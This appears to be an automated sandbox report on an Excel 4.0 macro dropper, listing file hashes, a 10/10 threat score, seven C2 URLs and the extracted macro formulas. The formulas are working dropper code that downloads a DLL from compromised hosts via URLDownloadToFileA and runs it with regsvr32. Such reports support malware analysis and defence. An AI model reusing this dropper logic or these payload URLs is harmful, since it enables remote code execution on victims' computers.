8d15b901b4bef6537f63956b7c7a924c2a0a3708c1af23807ec28c521bb6e956

General

Target

8d15b901b4bef6537f63956b7c7a924c2a0a3708c1af23807ec28c521bb6e956
Size

20KB
Sample

241120-w55wbs1hkk
MD5

0b2bd21912e427436270ee0de2a61ceb
SHA1

402434271af15eb91696d1d095e0867cbea5c8a9
SHA256

8d15b901b4bef6537f63956b7c7a924c2a0a3708c1af23807ec28c521bb6e956
SHA512

5233486a963e06fef59f3b9020864ba1be96f63d100a4b37c9a631d3ba9345a6ebf4854cf496648367052c3237bd716c7663daea90e5f12b94819efa8e709165
SSDEEP

384:a/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:atINAo4FLkCBn9kC+xbLzJy

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

http://antaoco.com/wp-admin/5WaIjOuHnUj/

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

http://amkltd.co.uk/amk/IPuhx/

http://gees.com.pl/geessw/2YmxITo6/

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://antaoco.com/wp-admin/5WaIjOuHnUj/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://andrewpharma.com/wp-includes/WqgKtKrYJM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amkltd.co.uk/amk/IPuhx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gees.com.pl/geessw/2YmxITo6/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

xlm40.dropper

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

Targets

- Target
  
  8d15b901b4bef6537f63956b7c7a924c2a0a3708c1af23807ec28c521bb6e956
- Size
  
  20KB
- MD5
  
  0b2bd21912e427436270ee0de2a61ceb
- SHA1
  
  402434271af15eb91696d1d095e0867cbea5c8a9
- SHA256
  
  8d15b901b4bef6537f63956b7c7a924c2a0a3708c1af23807ec28c521bb6e956
- SHA512
  
  5233486a963e06fef59f3b9020864ba1be96f63d100a4b37c9a631d3ba9345a6ebf4854cf496648367052c3237bd716c7663daea90e5f12b94819efa8e709165
- SSDEEP
  
  384:a/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:atINAo4FLkCBn9kC+xbLzJy
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2